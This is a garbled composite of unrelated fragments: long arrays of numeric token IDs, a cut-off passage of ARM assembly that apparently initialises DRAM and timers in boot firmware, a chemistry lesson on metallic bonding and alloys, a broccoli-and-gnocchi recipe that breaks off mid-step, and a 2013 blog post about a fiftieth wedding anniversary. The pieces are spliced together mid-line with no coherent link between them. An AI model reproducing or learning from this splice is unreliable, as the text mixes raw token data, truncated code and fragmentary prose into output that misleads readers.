2597, 8897, 187, 50274, 16047, 50275, 83, 18, 13, 1852, 17, 89, 24, 187, 50274, 1344, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 24, 2597, 361, 68, 187, 50274, 16047, 50275, 83, 18, 13, 1852, 17, 89, 20, 187, 50274, 1344, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 3141, 1967, 938, 187, 50274, 1344, 50275, 83, 19, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 3141, 1967, 1706, 187, 50274, 1344, 50275, 83, 19, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 24, 2597, 5525, 187, 50274, 1344, 50275, 83, 19, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 24, 2597, 9104, 187, 50274, 1344, 50275, 83, 19, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 24, 2597, 520, 68, 187, 50274, 1344, 50275, 83, 19, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 24, 2597, 11494, 50254, 33, 1239, 2590, 187, 50274, 392, 83, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 24, 2597, 12058, 50254, 33, 1239, 2590, 187, 50274, 392, 83, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 24, 2597, 8897, 50254, 33, 1239, 2590, 187, 50274, 392, 83, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 3141, 17615, 68, 50254, 33, 1239, 2590, 187, 50274, 392, 83, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 3141, 69, 520, 68, 50254, 33, 1239, 2590, 187, 50274, 392, 83, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 3141, 70, 520, 68, 50254, 33, 1239, 2590, 187, 50274, 392, 83, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 3141, 71, 520, 68, 50254, 33, 1239, 2590, 187, 50274, 392, 83, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70 ]

0x08080607 @ 0x2F0 .word 0x9B000900 @ 0x2F4 .word 0x0E400A00 @ 0x2F8 .word 0x99714545 @ tRFC .word 0x000071C1 @ PLL .macro init_delay_timer ldr r0, =0x1e782024 @ Set Timer3 Reload str r2, [r0] ldr r0, =0x1e6c0038 @ Clear Timer3 ISR ldr r1, =0x00040000 str r1, [r0] ldr r0, =0x1e782030 @ Enable Timer3 mov r2, #7 mov r1, r2, lsl #8 str r1, [r0] ldr r0, =0x1e6c0090 @ Check ISR for Timer3 timeout .endm .macro check_delay_timer ldr r1, [r0] bic r1, r1, #0xFFFBFFFF mov r2, r1, lsr #18 cmp r2, #0x01 .endm .macro clear_delay_timer ldr r0, =0x1e78203C @ Disable Timer3 mov r2, #0xF mov r1, r2, lsl #8 str r1, [r0] ldr r0, =0x1e6c0038 @ Clear Timer3 ISR ldr r1, =0x00040000 str r1, [r0] .endm .macro init_spi_checksum ldr r0, =0x1e620084 ldr r1, =0x20010000 str r1, [r0] ldr r0, =0x1e62008C ldr r1, =0x20000200 str r1, [r0] ldr r0, =0x1e620080 ldr r1, =0x0000000D orr r2, r2, r7 orr r1, r1, r2, lsl #8 and r2, r6, #0xF orr r1, r1, r2, lsl #4 str r1, [r0] ldr r0, =0x1e620008 ldr r2, =0x00000800 .endm .macro print_hex_char and r1, r1, #0xF cmp r1, #9 addgt r1, r1, #0x37 addle r1, r1, #0x30 str r1, [r0] .endm /****************************************************************************** Calibration Macro End ******************************************************************************/ .globl lowlevel_init lowlevel_init: init_dram: /* save lr */ mov r4, lr /******************************************** Initial Reset Procedure : Begin *******************************************/ /* Clear AHB bus lock condition */ ldr r0, =0x1e600000 ldr r1, =0xAEED1A03 str r1, [r0] ldr r0, =0x1e600084 ldr r1, =0x00010000 str r1, [r0] add r0, r0, #0x4 mov r1, #0x0 str r1, [r0] ldr r0, =0x1e6e2000 ldr r1, =0x1688a8a8 str r1, [r0] /* Reset again */ ldr r0, =0x1e6e2070 @ check fast reset flag ldr r2, =0x08000000 ldr r1, [r0] tst r1, r2 beq bypass_first_reset ldr r0, =0x1e785010 ldr r3, [r0] cmp r3, #0x0 beq start_first_reset add r0, r0, #0x04 mov r3, #0x77 str r3, [r0] ldr r0, =0x1e720004 @ Copy initial strap register to 0x1e720004 str r1, [r0] add r0, r0, #0x04 @ Copy initial strap register to 0x1e720008 str r1, [r0] add r0, r0, #0x04 @ Copy initial strap register to 0x1e72000c str r1, [r0] ldr r0, =0x1e6e207c @ clear fast reset flag str r2, [r0] ldr r0, =0x1e6e203c @ clear watchdog reset flag ldr r1, [r0] and r1, r1, #0x01 str r1, [r0] ldr r0, =0x1e78501c @ restore normal mask setting ldr r1, =0x023FFFF3 @ added 2016.09.06 str r1, [r0] b bypass_first_reset start_first_reset: #ifdef ASTMMC_INIT_RESET_MODE_FULL ldr r0, =0x1e785004 ldr r1, =0x00000001 str r1, [r0] ldr r0, =0x1e785008 ldr r1, =0x00004755 str r1, [r0] ldr r0, =0x1e78500c @ enable Full reset ldr r1, =0x00000033 str r1, [r0] #else /***** Clear LPC status : Begin *****/ mov r2, #0 @ set r2 = 0, freezed ldr r0, =0x1e787008 mov r1, #0x7 str r1, [r0] ldr r0, =0x1e78700c mov r1, #0x3 str r1, [r0] ldr r0, =0x1e787020 str r2, [r0] ldr r0, =0x1e787034 str r2, [r0] ldr r0, =0x1e787004 str r2, [r0] ldr r0, =0x1e787010 str r2, [r0] ldr r0, =0x1e78701c str r2, [r0] ldr r0, =0x1e787014 @ read clear ldr r1, [r0] ldr r0, =0x1e787018 @ read clear ldr r1, [r0] ldr r0, =0x1e787008 @ read clear ldr r1, [r0] ldr r0, =0x1e78301c @ read clear ldr r1, [r0] ldr r0, =0x1e78d01c @ read clear ldr r1, [r0] ldr r0, =0x1e78e01c @ read clear ldr r1, [r0] ldr r0, =0x1e78f01c @ read clear ldr r1, [r0] ldr r0, =0x1e

[ 43256, 4830, 253, 2553, 273, 247, 5148, 13, 697, 14465, 15816, 1355, 8322, 273, 2341, 285, 2489, 9049, 715, 581, 273, 697, 1142, 6325, 45228, 15, 380, 14465, 4745, 2965, 896, 1066, 281, 2406, 2341, 2308, 285, 25526, 1708, 15, 831, 1232, 310, 5506, 323, 253, 1029, 298, 8976, 273, 18494, 313, 2841, 27490, 481, 187, 187, 510, 2448, 1847, 23517, 26864, 310, 253, 3565, 32297, 12156, 279, 18011, 273, 253, 1986, 2077, 285, 369, 806, 278, 26082, 275, 8210, 15, 380, 298, 8976, 273, 247, 5148, 310, 1955, 281, 697, 18719, 13403, 15, 187, 187, 38418, 326, 30283, 7006, 403, 1077, 1308, 1522, 15, 11683, 273, 247, 3490, 1543, 275, 751, 14, 31094, 13291, 275, 253, 9266, 3551, 1512, 2810, 281, 581, 1529, 13, 8479, 253, 9266, 281, 439, 2569, 15, 2091, 247, 3490, 310, 3732, 281, 247, 5148, 13, 253, 1959, 14, 5449, 272, 14465, 476, 15813, 275, 875, 253, 17429, 49424, 285, 3657, 731, 432, 3551, 275, 3057, 15, 30778, 4023, 40865, 326, 452, 644, 19185, 342, 4166, 20661, 2469, 581, 1529, 15, 1284, 247, 906, 13, 18494, 403, 1077, 4691, 282, 494, 285, 17451, 587, 15, 1583, 476, 320, 10546, 38086, 715, 15029, 13, 14436, 715, 6906, 14526, 13, 390, 7320, 715, 6906, 20343, 15, 187, 187, 36, 18568, 26253, 980, 273, 6365, 932, 187, 187, 2042, 368, 3078, 281, 1056, 247, 8031, 273, 8931, 28394, 13, 368, 1537, 1705, 598, 342, 271, 11461, 751, 253, 581, 2011, 275, 5317, 27490, 15, 187, 187, 3039, 8931, 28394, 403, 24982, 13, 1016, 20946, 3828, 13840, 715, 253, 1355, 8470, 835, 1027, 28394, 1705, 2366, 15, 1639, 375, 383, 22485, 46926, 253, 2408, 273, 6325, 2317, 285, 310, 849, 5148, 10917, 403, 10912, 275, 247, 9266, 15, 187, 187, 1552, 42062, 285, 3963, 11461, 273, 253, 5148, 15254, 46926, 253, 6325, 2317, 875, 731, 15, 1639, 375, 383, 22485, 261, 253, 954, 5919, 1039, 281, 3584, 19474, 5113, 15, 380, 10917, 275, 247, 5148, 9266, 403, 10912, 275, 2074, 6127, 13, 1925, 2810, 14, 33318, 5289, 15, 29062, 18494, 5283, 581, 273, 2067, 2905, 2810, 14, 33318, 5289, 13, 347, 2011, 275, 5317, 27490, 15, 187, 187, 10342, 6313, 18494, 10748, 5283, 581, 273, 841, 1264, 8642, 22485, 16669, 15, 187, 187, 2374, 253, 2080, 1669, 310, 253, 2133, 14, 34872, 23664, 313, 67, 550, 10, 2605, 15, 496, 326, 9266, 13, 5148, 10917, 26263, 253, 4314, 18803, 273, 247, 23636, 2112, 342, 581, 13112, 275, 253, 1077, 4055, 15, 380, 19915, 1180, 273, 1016, 13112, 275, 253, 2133, 14, 34872, 23664, 2605, 310, 854, 15, 496, 253, 2454, 14, 34872, 23664, 313, 71, 550, 10, 2605, 13, 627, 403, 4314, 10917, 387, 1016, 7145, 273, 253, 23636, 285, 2800, 10917, 275, 253, 4055, 273, 1016, 2454, 15, 380, 19915, 1180, 273, 1016, 13112, 275, 253, 2454, 14, 34872, 23664, 2605, 310, 1249, 15, 380, 10917, 275, 247, 15442, 21805, 2810, 14, 33318, 313, 73, 7693, 10, 2605, 671, 452, 247, 19915, 1180, 273, 1249, 13, 533, 20642, 273, 436, 1511, 403, 15442, 5154, 595, 16745, 2581, 685, 23664, 15, 187, 187, 3074, 16376, 187, 187, 1145, 23924, 261, 247, 7802, 9924, 273, 767, 390, 625, 3603, 13, 387, 1878, 581, 273, 534, 310, 247, 5148, 15, 1422, 403, 3164, 7615, 342, 690, 38010, 824, 347, 27188, 285, 26247, 313, 2841, 27490, 481, 2652, 515, 310, 271, 23924, 273, 14295, 285, 20458, 15, 49134, 310, 271, 23924, 273, 14295, 285, 20596, 15, 1876, 16376, 403, 7744, 908, 275, 18461, 4957, 984, 253, 3607, 273, 841, 5148, 24170, 403, 1027, 13, 285, 4536, 625, 4217, 13, 685, 1110, 273, 247, 6313, 5148, 15, 1198, 1650, 13, 26247, 310, 12150, 685, 14295, 285, 625, 4354, 5248, 15, 2652, 515, 310, 1077, 4691, 282, 494, 13, 285, 697, 19463, 3607, 1056, 352, 4217, 323, 12256, 13225, 15, 187, 187, 39674, 2721, 13, 271, 23924, 273, 14295, 285, 20596, 13, 556, 644, 275, 897, 1580, 9129, 2069, 15, 380, 49134, 11362, 3047, 253, 2559, 897, 273, 18494, 2581, 685, 8805, 323, 8914, 13, 5657, 13, 285, 38323, 5113, 15, 2652, 515, 13, 271, 23924, 273, 14295, 285, 20458, 13, 310, 7561, 908, 275, 12256, 13225, 751, 253, 29154, 292, 285, 246, 409, 15801, 15, 187, 187, 6812, 1241, 403, 247, 1077, 1774, 966, 273, 38010, 15, 380, 1142, 3510, 273, 2870, 1241, 403, 8558, 9924, 273, 6871, 13, 342, 2710, 8322, 273, 253, 3603, 6315, 13, 50064, 13, 19695, 39534, 13, 30237, 13, 278, 10270, 67, 3354, 360, 13, 285, 20495, 251, 15, 2951, 1241, 403, 7561, 908, 275, 3652, 5140, 984, 273, 616, 4757, 13, 38576, 13, 285, 5052, 281, 30613, 15, 5595, 1781, 4980, 5289, 751, 1629, 656, 68, 1761, 398, 285, 21711, 84, 403, 4516, 407, 247, 10194, 29564, 313, 2841, 27490, 481, 187, 187, 510, 42650, 20610, 313, 42889, 1925, 253, 49878, 20610, 10, 275, 8068, 369, 2378, 253, 10086, 383, 3652, 275, 253, 1533, 285, 310, 1335, 253, 10086, 383, 275, 253, 6359, 18402, 11135, 1568, 15, 380, 897, 273, 10194, 9930, 2789, 352, 1896, 281, 1973, 38165, 13, 10046, 13, 285, 21259, 9195, 15, 187, 187, 3074, 16376, 476, 320, 581, 273, 767, 2087, 3510, 15, 496, 581, 1511, 13, 1925, 247, 749, 15016, 23924, 13, 253, 2710, 10917, 3365, 8171, 1016, 643, 275, 253, 9266, 2605, 15, 496, 1529, 1511, 13, 1925, 271, 36243, 23924, 13, 4577, 10917, 824, 347, 6315, 4944, 275, 875, 253, 4067, 10917, 275, 253, 9266, 22485, 11461, 15, 187, 187, 28274, 251, 18435, 187, 187, 34, 18719, 5533, 8687, 253, 21779, 273, 17429, 5148, 49424, 281, 247, 8704, 6150, 273, 6109, 35874, 14465, 15, 6365, 38347, 20705, 3587, 17904, 281, 3607, 824, 347, 1029, 8545, 285, 8609, 20791, 13, 4691, 282, 1430, 13, 17451, 874, 13, 285, 298, 8976, 15, 187, 187, 12442, 267, 10917, 403, 10912, 275, 3963, 13, 42062, 6127, 326, 2223, 2723, 281, 2710, 8642, 22485, 16669, 323, 28394, 15, 187, 187, 3074, 16376, 403, 24170, 273, 18494, 15, 6676, 38010, 403, 7561, 908, 984, 616, 3607, 403, 2223, 625, 4217, 323, 2176, 4893, 685, 1110, 273, 6313, 18494, 15, 187, 187, 28274, 251, 8439, 30254, 187, 187, 18658, 272, 38298, 84, 187, 187, 7371, 273, 253, 1563, 3603, 12646, 18719, 20705, 32, 187, 187, 3251, 187, 187, 23976, 187, 187, 33468, 187, 187, 7573, 187, 187, 1672, 19104, 253, 3879, 273, 14465, 275, 247, 5148, 15, 187, 187, 2347, 1057, 247, 18719, 5533, 8162, 281, 253, 8545, 20791, 273, 18494, 32, 187, 187, 2402, 253, 1264, 1846, 8642, 22485, 16669, 273, 5148, 10917, 275, 247, 9266, 15, 7918, 271, 1650, 273, 247, 18719, 3284, 326, 14666, 4219, 275, 1016, 830, 15, 187, 187, 1845, 23042, 187, 187, 4967, 403, 30283, 20642, 1308, 1522, 13, 1223, 954, 18494, 403, 4691, 282, 494, 32, 187, 187, 1276, 403, 690, 11361, 273, 970, 10194, 2581, 685, 6871, 32, 187, 187, 52, 26796, 556, 581, 35874, 6488, 591, 13112, 13, 1223, 29742, 556, 767, 15, 48243, 1880, 11914, 390, 29742, 556, 10046, 18719, 13403, 15, 1359, 513, 368, 1158, 326, 368, 812, 1071, 634, 9079, 32, 187, 187, 1276, 403, 253, 19915, 3904, 273, 247, 5148, 13112, 275, 247, 2133, 14, 34872, 23664, 2605, 285, 275, 247, 2454, 14, 34872, 23664, 2605, 32, 496, 534, 1511, 403, 253, 10917, 625, 8244, 14998, 32, 309, 6992, 1514, 310, 581, 273, 253, 12006, 383, 1929, 3603, 387, 3307, 15, 23, 305, 16, 3591, 20, 15, 496, 534, 9266, 2605, 513, 368, 1158, 3496, 29455, 310, 625, 2779, 281, 14666, 907, 32, 22052, 12457, 1795, 43363, 342, 18976, 406, 4635, 285, 24082, 448, 2695, 187, 187, 42, 806, 1160, 436, 1795, 43363, 285, 18976, 406, 4635, 11609, 247, 1643, 3618, 896, 347, 247, 3158, 2129, 6170, 8955, 285, 5608, 352, 342, 29855, 285, 247, 12364, 1754, 327, 247, 10379, 12364, 326, 309, 751, 281, 5752, 342, 1218, 6584, 10424, 15, 831, 673, 309, 38240, 253, 1795, 43363, 342, 17426, 285, 18616, 1182, 383, 13, 5608, 352, 342, 30055, 90, 18976, 406, 4635, 285, 6699, 745, 342, 247, 10412, 13746, 1020, 35855, 10379, 12364, 285, 6906, 18484, 273, 45568, 44603, 281, 1056, 352, 512, 1014, 625, 5745, 590, 15, 831, 11609, 39064, 745, 512, 253, 1841, 309, 751, 13, 247, 5878, 273, 1027, 38276, 13, 275, 681, 36730, 9075, 432, 253, 24082, 13, 247, 1175, 6654, 432, 253, 10379, 285, 253, 35855, 13, 285, 247, 6627, 272, 12717, 432, 253, 18616, 15, 309, 717, 594, 19961, 326, 309, 13, 273, 512, 952, 13, 717, 5015, 670, 288, 43545, 17114, 275, 253, 4766, 273, 15221, 285, 14354, 7238, 2952, 13, 533, 436, 310, 594, 49618, 285, 36766, 326, 309, 4571, 457, 85, 11623, 9628, 436, 13612, 342, 368, 15, 733, 457, 84, 594, 1175, 13, 309, 3524, 368, 4264, 352, 347, 1199, 347, 309, 858, 15, 187, 187, 10548, 6477, 187, 187, 28512, 253, 1795, 43363, 715, 18470, 14, 10306, 7437, 13, 13398, 342, 374, 40466, 17426, 13, 1182, 383, 432, 337, 16, 19, 18616, 285, 608, 18850, 4166, 15, 43611, 731, 562, 327, 247, 17326, 8335, 285, 47865, 342, 7043, 285, 13835, 13, 32413, 275, 253, 14195, 323, 1384, 2909, 387, 1052, 3272, 36, 15, 187, 187, 35344, 247, 1781, 1721, 273, 7043, 264, 1824, 281, 247, 22149, 15, 3452, 300, 253, 18976, 406, 4635, 1919, 597, 8253, 281, 253, 1755, 15, 38547, 253, 24082, 448, 2695, 342, 7043, 285, 13835, 13, 4250, 253, 4166, 275, 247, 37548, 285, 4417, 253, 448, 2695, 689, 1029, 4250, 323, 495, 14, 21, 2909, 327, 1016, 1930, 1919, 8516, 15, 27180, 13, 4223, 577, 13, 4072, 187, 187, 41, 1212, 1031, 18901, 2732, 32, 187, 187, 17895, 434, 4651, 285, 7477, 17019, 13719, 1107, 273, 7875, 436, 5768, 15, 1283, 13, 24724, 15, 22, 1897, 313, 9820, 13, 309, 858, 2486, 26416, 1897, 275, 326, 10272, 2698, 273, 8764, 4861, 39577, 32, 3105, 1663, 15, 187, 187, 1276, 32, 3052, 309, 1146, 247, 650, 1765, 13, 247, 45234, 382, 13, 247, 4016, 48718, 466, 32, 3052, 309, 670, 281, 2740, 253, 3668, 326, 846, 512, 841, 1107, 13, 352, 434, 689, 32, 1621, 15, 4683, 2282, 417, 15, 309, 1353, 816, 2819, 387, 34386, 1031, 18901, 2732, 432, 253, 643, 1930, 273, 253, 12142, 1388, 15, 2091, 253, 346, 1542, 1805, 390, 7197, 285, 275, 31009, 285, 1786, 3, 1663, 5108, 15, 187, 187, 42, 908, 281, 6947, 3038, 327, 253, 5254, 273, 776, 1850, 13, 1469, 949, 7512, 187, 31638, 84, 285, 22756, 12783, 273, 7968, 15, 2752, 5753, 2389, 281, 513, 253, 1072, 13, 760, 597, 5532, 949, 5865, 7963, 327, 253, 4382, 3185, 273, 46899, 949, 4370, 14, 70, 1096, 19325, 273, 45832, 518, 2929, 15, 6700, 2370, 10848, 285, 7141, 1977, 347, 187, 413, 2265, 1582, 273, 4201, 11015, 13, 50225, 13, 34778, 19055, 13, 253, 7520, 8762, 1388, 13, 187, 13238, 6681, 41103, 285, 27477, 7238, 8154, 1641, 13, 11755, 9365, 285, 564, 1171, 90, 187, 41754, 43969, 15, 401, 1951, 7270, 17053, 13, 19328, 2143, 14496, 28853, 13, 3926, 311, 272, 18740, 342, 15205, 1417, 650, 968, 13, 8290, 275, 5842, 285, 3961, 36137, 13, 6838, 9398, 2160, 968, 387, 11012, 761, 32421, 13, 11870, 4651, 7487, 9049, 5753, 5909, 10262, 762, 247, 5202, 25701, 342, 36018, 390, 27647, 15, 35540, 90, 13, 28238, 13, 29902, 90, 13, 28767, 593, 13, 25148, 13, 43051, 285, 49542, 1051, 21426, 29286, 14252, 745, 25962, 41454, 7512, 24401, 1078, 359, 1014, 3260, 752, 352, 5486, 15, 8647, 272, 19055, 13, 11038, 246, 14, 39529, 13, 34019, 8142, 7234, 313, 42, 1353, 2819, 387, 368, 17487, 3673, 3056, 285, 17489, 6616, 32622, 481, 187, 187, 2512, 403, 690, 1270, 5211, 9506, 10848, 275, 1110, 12783, 15, 41017, 247, 2257, 13, 2686, 15, 1893, 2139, 253, 1953, 1616, 846, 253, 346, 41, 1212, 1031, 18901, 2732, 16296, 380, 7692, 3548, 626, 253, 40071, 273, 253, 12616, 27, 346, 38472, 1031, 2455, 846, 3446, 733, 434, 253, 18326, 273, 253, 3000, 346, 38472, 1031, 3, 285, 346, 972, 3446, 187, 187, 18852, 642, 9331, 273, 616, 1211, 313, 4714, 13, 604, 597, 1472, 8274, 13, 322, 2277, 2025, 2894, 1410, 949, 616, 1211, 9331, 582, 1046, 1388, 3548, 626, 247, 5211, 1388, 323, 7028, 12633, 15, 13168, 309, 1928, 751, 309, 878, 247, 18155, 40833, 246, 14, 23565, 516, 25779, 342, 253, 3000, 27, 346, 42 ]

shone onto the surface of a metal, its electrons absorb small amounts of energy and become excited into one of its many empty orbitals. The electrons immediately fall back down to lower energy levels and emit light. This process is responsible for the high luster of metals (Figurebelow). The American Platinum Eagle is the official platinum bullion coin of the United States and was first minted in 1997. The luster of a metal is due to its metallic bonds. Recall that ionic compounds are very brittle. Application of a force results in like-charged ions in the crystal coming too close to one another, causing the crystal to shatter. When a force is applied to a metal, the free-flowing electrons can slip in between the stationary cations and prevent them from coming in contact. Imagine ball bearings that have been coated with oil sliding past one another. As a result, metals are very malleable and ductile. They can be hammered into shapes, rolled into thin sheets, or pulled into thin wires. Crystal Structures of Metals If you wanted to make a stack of identical spheres, you might come up with an arrangement like the one shown in Figurebelow. When identical spheres are stacked, each successive layer fits into the small spaces where different spheres come together. Closest packing minimizes the amount of empty space and is how metal atoms are arranged in a crystal. This orderly and regular arrangement of the metal balls minimizes the empty space between them. Closest packingis the most efficient way to pack spherical objects. The atoms in a metal crystal are arranged in similar patterns, called close-packed structures. Pure metals adopt one of several related close-packed structures, as shown in Figurebelow. Most pure metals naturally adopt one of these three closest packing arrangements. On the far left is the body-centered cubic (bcc) structure. In that crystal, metal atoms occupy the eight corners of a cube along with one atom in the very center. The coordination number of each atom in the body-centered cubic structure is 8. In the face-centered cubic (fcc) structure, there are eight atoms at each corner of the cube and six atoms in the center of each face. The coordination number of each atom in the face-centered cubic structure is 12. The atoms in a hexagonal close-packed (hcp) structure also have a coordination number of 12, but crystals of this type are hexagonally shaped rather than cubic. Alloys An alloyis a mixture composed of two or more elements, at least one of which is a metal. You are probably familiar with some alloys such as brass and bronze (Figurebelow). Brass is an alloy of copper and zinc. Bronze is an alloy of copper and tin. Alloys are commonly used in manufactured items because the properties of these metal mixtures are different, and sometimes more useful, than those of a pure metal. For example, bronze is harder than copper and more easily cast. Brass is very malleable, and its acoustic properties make it useful for musical instruments. Bronze, an alloy of copper and tin, has been in use since ancient times. The Bronze Age saw the increased use of metals rather than stone for weapons, tools, and decorative objects. Brass, an alloy of copper and zinc, is widely used in musical instruments like the trumpet and trombone. Steels are a very important class of alloys. The many types of steels are primarily composed of iron, with various amounts of the elements carbon, chromium, manganese, nickel, molybdenum, and boron. Steels are widely used in building construction because of their strength, hardness, and resistance to corrosion. Most large modern structures like skyscrapers and stadiums are supported by a steel skeleton (Figurebelow). The Willis Tower (formerly called the Sears Tower) in Chicago was once the tallest building in the world and is still the tallest in the Western Hemisphere. The use of steel columns makes it possible to build taller, stronger, and lighter buildings. Alloys can be one of two general types. In one type, called a substitutional alloy, the various atoms simply replace each other in the crystal structure. In another type, called an interstitial alloy, smaller atoms such as carbon fit in between the larger atoms in the crystal packing arrangement. Lesson Summary A metallic bond involves the attraction of stationary metal cations to a surrounding sea of mobile valence electrons. Metallic bonding directly contributes to properties such as high electrical and thermal conductivity, malleability, ductility, and luster. Metal atoms are arranged in regular, orderly patterns that often correspond to various closest packing arrangements for spheres. Alloys are mixtures of metals. Many alloys are widely used because their properties are often more useful for certain applications than those of pure metals. Lesson Review Questions Reviewing Concepts Which of the following elements displays metallic bonding? Se Ti Ru Te Explain the behavior of electrons in a metal. How does a metallic bond contribute to the electrical conductivity of metals? Name the three common closest packing arrangements of metal atoms in a crystal. Give an example of a metallic element that crystallizes in each form. Problems Why are ionic crystals brittle, while most metals are malleable? What are some advantages of using steel rather than iron? Sodium has one valence electron per atom, while magnesium has two. Predict whether sodium or magnesium has stronger metallic bonds. How do you think that you could test your hypothesis? What are the coordination numbers of a metal atom in a body-centered cubic structure and in a face-centered cubic structure? In which type are the atoms more closely packed? Iridium is one of the densest known elements at 22.6 g/cm3. In which crystal structure do you think iridium is more likely to crystallize?Roasted broccoli with gnocchi and lamb chops I first made this broccoli and gnocchi dish a few weeks back as a quick weeknight dinner and served it with bacon and a sauce based on a butter sauce that I like to serve with ravioli. This time I roasted the broccoli with garlic and lemon zest, served it with pillowy gnocchi and finished off with a crazy flavorful sage butter sauce and thin slices of chili flakes to make it all even more savory. This dish ticks off all the things I like, a mix of different textures, incomparable taste from the lamb, a good balance from the butter and the sage, and a brighting tang from the lemon. I am so shocked that I, of all people, am talking about harty dishes in the middle of cake and chocolate egg season, but this is so hearty and tasty that I couldn’t resist sharing this recipe with you. It’s so good, I hope you enjoy it as much as I did. Instructions Cut the broccoli into bite-sized pieces, combine with 2 cloves garlic, zest from 1/2 lemon and 5 tablespoons oil. Spread them out on a baking sheet and sprinkle with salt and pepper, bake in the oven for 20 minutes at 200°C. Bring a large pot of salted water to a boil. Boil the gnocchi until they float to the top.Season the lamb chops with salt and pepper, heat the oil in a skillet and cook the chops over high heat for 3-4 minutes on each side until brown.Sunday, August 4, 2013 Happily Ever After? Rob's parents and mine celebrate fifty years of marriage this summer. 18,262.5 days (yes, I did include leap days in that calculation.) of wedded bliss? Not really. What? Am I being a grump, a pessimist, a negative Nellie? Am I about to break the news that after all these years, it's over? No. Of course not. I'm just looking at Happily Ever After from the other side of the wedding day. When the "for better or worse and in sickness and health" really happen. I used to spend hours on the floor of our den, going through photo albums and shoe boxes of pictures. My kids love to do the same, only they click through digital photos on the computer instead of flipping through dog-eared squares of Kodak paper. Memories captured and stored away as keepsakes of birthdays, weddings, camping trips, the rare snow day, Christmas mornings and Easter egg hunts, funny faces and goofy haircuts. Faces caught laughing, awkward school snapshots, drooling babies with toothless grins, boys in football and band uniforms, girls wearing sequins at dance recitals, tired parents watching excited kids opening presents under a tree decorated with homemade ornaments. Dusty, Spot, Nicey, Sundance, Diamond, Homer and Duchess... beloved pets pulling off unintentional photo bombs before we even knew what it meant. Camping trips, matching t-shirts, embarrassing fashion statements (I'm looking at you bell bottoms and mesh muscle shirts). There are some great happy moments captured in those boxes. Quite a lot, actually. So why the question mark after the "Happily Ever After"? The rub isn't the totality of the phrase: "happily ever after". It's the proximity of the words "happily" and "ever". Through no fault of their own (well, if they're honest, SOMETIMES through their own fault), every day isn't a happy day for married folks. Sometimes I feel like I need a souvenir t-shirt imprinted with the words: "I

[ 253, 2020, 273, 370, 38678, 534, 369, 4136, 323, 9826, 285, 15423, 3238, 273, 253, 6834, 275, 4602, 342, 253, 25702, 2395, 15, 733, 2550, 320, 3413, 432, 253, 1340, 849, 1199, 273, 253, 370, 38678, 369, 4136, 323, 824, 15423, 8128, 15, 3932, 370, 8970, 369, 2546, 407, 253, 6834, 347, 9826, 8128, 275, 253, 2030, 394, 2395, 13, 352, 310, 281, 320, 8025, 326, 253, 9826, 8128, 4136, 323, 521, 3238, 275, 253, 25702, 2395, 651, 320, 247, 2074, 2408, 285, 3103, 253, 2201, 629, 273, 253, 370, 38678, 369, 4136, 323, 15423, 8128, 15, 187, 380, 1340, 25091, 3268, 273, 253, 4517, 2867, 13, 285, 253, 1340, 6941, 253, 23052, 370, 25452, 15, 1857, 347, 247, 3268, 9801, 13, 403, 13891, 15, 380, 1340, 6941, 370, 38678, 281, 253, 6834, 323, 9826, 285, 15423, 8128, 310, 13891, 37900, 347, 352, 3797, 271, 32301, 323, 15423, 8128, 15, 187, 1608, 2966, 13, 367, 15, 500, 904, 285, 4009, 14906, 13, 500, 904, 15038, 433, 15, 187, 24963, 187, 60, 4174, 15, 337, 62, 50276, 18, 15, 5238, 26780, 273, 253, 27849, 366, 6307, 3400, 27, 346, 2042, 253, 35666, 6505, 6747, 22333, 4543, 2523, 13, 285, 253, 8304, 390, 667, 5110, 10445, 369, 4858, 2867, 273, 247, 3786, 24332, 22333, 13, 285, 2210, 281, 253, 35666, 432, 824, 22333, 407, 9140, 3346, 824, 2867, 4566, 275, 4503, 10764, 281, 253, 2151, 273, 253, 24332, 22333, 15, 29001, 187, 1552, 310, 271, 3565, 15687, 432, 7967, 20047, 15648, 281, 1339, 368, 871, 326, 275, 816, 2145, 1897, 13, 253, 35310, 3565, 1984, 670, 399, 10650, 35, 2696, 13, 773, 1328, 330, 482, 1916, 9384, 668, 588, 320, 16116, 4657, 30058, 313, 17277, 22900, 13, 378, 6609, 13, 9405, 308, 6361, 13, 10550, 13, 49234, 285, 1142, 2571, 481, 187, 187, 2042, 368, 457, 250, 1512, 22658, 390, 476, 457, 85, 1056, 352, 281, 581, 273, 841, 23812, 368, 476, 1900, 1340, 3909, 3587, 432, 7967, 55, 249, 48081, 15, 681, 15, 187, 187, 510, 1984, 310, 247, 7512, 19718, 17412, 432, 3055, 285, 3367, 18406, 432, 3858, 285, 2021, 347, 973, 347, 35103, 432, 690, 273, 253, 1533, 457, 84, 1682, 38676, 2112, 342, 253, 6281, 3212, 253, 7963, 15, 187, 187, 9917, 2908, 310, 247, 17265, 2715, 273, 399, 553, 4694, 327, 17509, 326, 1024, 3797, 690, 1620, 1078, 2326, 17301, 29205, 1160, 407, 399, 553, 2, 187, 187, 1992, 8027, 253, 3727, 273, 253, 1984, 13, 657, 49417, 5171, 588, 320, 